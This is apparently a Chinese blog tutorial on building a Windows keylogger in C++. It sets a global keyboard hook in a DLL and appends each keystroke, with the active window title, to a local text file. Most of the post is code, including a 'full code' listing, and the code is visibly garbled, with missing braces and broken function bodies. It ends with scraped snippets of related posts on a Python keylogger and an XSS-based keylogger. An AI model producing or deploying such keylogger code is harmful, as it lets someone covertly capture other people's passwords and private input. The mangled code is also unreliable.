有一種技術被稱為hook,人們習慣上叫做鉤子。鉤子技術的應用範圍比較廣:輸入監控,api攔截,訊息捕獲等等。
今天我們來做的是鍵盤記錄器
編譯工具:visual studio 2019另外我說一下:程式語言:自然是c++,python做的我會寫個標題「c++」嗎?
程式設計技術:hook
hook技術分為好幾種,我今天介紹一種:windows鉤子
windows鉤子又分為全域性鉤子和區域性鉤子.區域性鉤子是針對乙個執行緒的,而全域性鉤子就針對整個作業系統.所以需要dll檔案來支援.
開啟visual studio 2019,建立新專案->動態鏈結庫(dll),如圖:
這個是我們要用到的函式setwindowshookex(),定義如下
hhook setwindowshookex(來說說setwindowshookex()的引數:in int idhook,
in hookproc lpfn,
in_opt hinstance hmod,
in dword dwthreadid);
idhook:鉤子的型別,我們要用的就是wh_keyboard
lpfn:制定鉤子函式位址,我們需要寫乙個函式
hmod:模組控制代碼
dwthreadid:表示需要被hook的執行緒id號,如果為0的話就所有的執行緒都hook
unhookwindowshookex()解除安裝鉤子,定義如下
bool unhookwindowshookex( in hhook hhk);hhk:鉤子控制代碼
開始實戰!!!
首先匯出兩個函式
extern
"c"_declspec
(dllexport) bool sethookon()
;extern
"c"_declspec
(dllexport) bool sethookoff()
;
初始化,注意dllmain()不是dllmain(),很多大佬都犯
hhook g_keyhook =
null
;hinstance g_inst =
null
;lresult callback keyboardproc
(int code,wparam wparam,lparam lparam)
;bool apientry dllmain
( hmodule hmodule,
dword ul_reason_for_call,
lpvoid lpreserved
)
開啟鉤子函式
bool sethookon()
return false;
}
解除安裝鉤子函式
bool sethookoff()
鍵盤鉤子函式,前面是獲取視窗的標題
lresult callback keyboardproc
(int code,wparam wparam,lparam lparam)
; dword dwsize = max_path;
queryfullprocessimagenamew
(hprocess,
0, wszprocesspath,
&dwsize)
; char wsztitle[max_path]=;
result =
getwindowtexta
(hwnd, wsztitle, max_path)
;
file* fp =
fopen
("檔案路徑"
,"a");
if(fp ==
null
)return
callnexthookex
(g_keyhook, code, wparam, lparam);if
(lparam &
0x40000000)if
(code == hc_noremove || code <0)
char szkeyname[
100]=;
getkeynametexta
(lparam, szkeyname,
100)
;fwrite
(wsztitle,1,
strlen
(wsztitle)
, fp)
;fwrite
("\t",1
,2, fp)
;fwrite
(szkeyname,1,
strlen
(szkeyname)
, fp)
;fwrite
("\r\n",1
,2, fp)
;fclose
(fp)
;return
callnexthookex
(g_keyhook, code, wparam, lparam)
;}
我在fopen()的第乙個引數下沒有寫檔案路徑,你們自己建立乙個txt檔案,寫上路徑
完整**
#include
"pch.h"
#include
#pragma warning(disable:4996)
extern
"c"_declspec
(dllexport) bool sethookon()
;extern
"c"_declspec
(dllexport) bool sethookoff()
;hhook g_keyhook =
null
;hinstance g_inst =
null
;lresult callback keyboardproc
(int code,wparam wparam,lparam lparam)
;bool apientry dllmain
( hmodule hmodule,
dword ul_reason_for_call,
lpvoid lpreserved
)bool sethookon()
return false;
}bool sethookoff()
lresult callback keyboardproc
(int code,wparam wparam,lparam lparam)
; dword dwsize = max_path;
queryfullprocessimagenamew
(hprocess,
0, wszprocesspath,
&dwsize)
; char wsztitle[max_path]=;
result =
getwindowtexta
(hwnd, wsztitle, max_path)
;
file* fp =
fopen(""
,"a");
if(fp ==
null
)return
callnexthookex
(g_keyhook, code, wparam, lparam);if
(lparam &
0x40000000)if
(code == hc_noremove || code <0)
char szkeyname[
100]=;
getkeynametexta
(lparam, szkeyname,
100)
;fwrite
(wsztitle,1,
strlen
(wsztitle)
, fp)
;fwrite
("\t",1
,2, fp)
;fwrite
(szkeyname,1,
strlen
(szkeyname)
, fp)
;fwrite
("\r\n",1
,2, fp)
;fclose
(fp)
;return
callnexthookex
(g_keyhook, code, wparam, lparam)
;}
生成乙個lib和dll檔案
建立乙個mfc專案,弄兩個按鈕,…
python 鍵盤記錄器
coding utf 8 from ctypes import import pythoncom import pyhook import win32clipboard user32 windll.user32 kernel32 windll.kernel32 psapi windll.psapi ...
C Hook 鍵盤記錄器
之前寫外掛程式做過指定程序的 hook,但是沒有嘗試過全域性 hook,所以今天就來試試。全域性 hook 的用途我第乙個就想到了鍵盤記錄器 貌似我也就想到了這個 哈哈 那就寫乙個吧。先上效果圖 沒圖沒真相,我看別人的部落格都喜歡上來先看圖,木哈哈 u u 其實也不多,就是 switch case ...
利用XSS漏洞實現鍵盤記錄器
本實驗以反射性的xss漏洞為例 實驗環境 dvwa靶機 ip 192.168.135.140 kali linux ip 192.168.135.138 1.首先開啟在kail上開啟apache服務 etc init.d apache2 start在firefox位址列輸入 或者 http loca...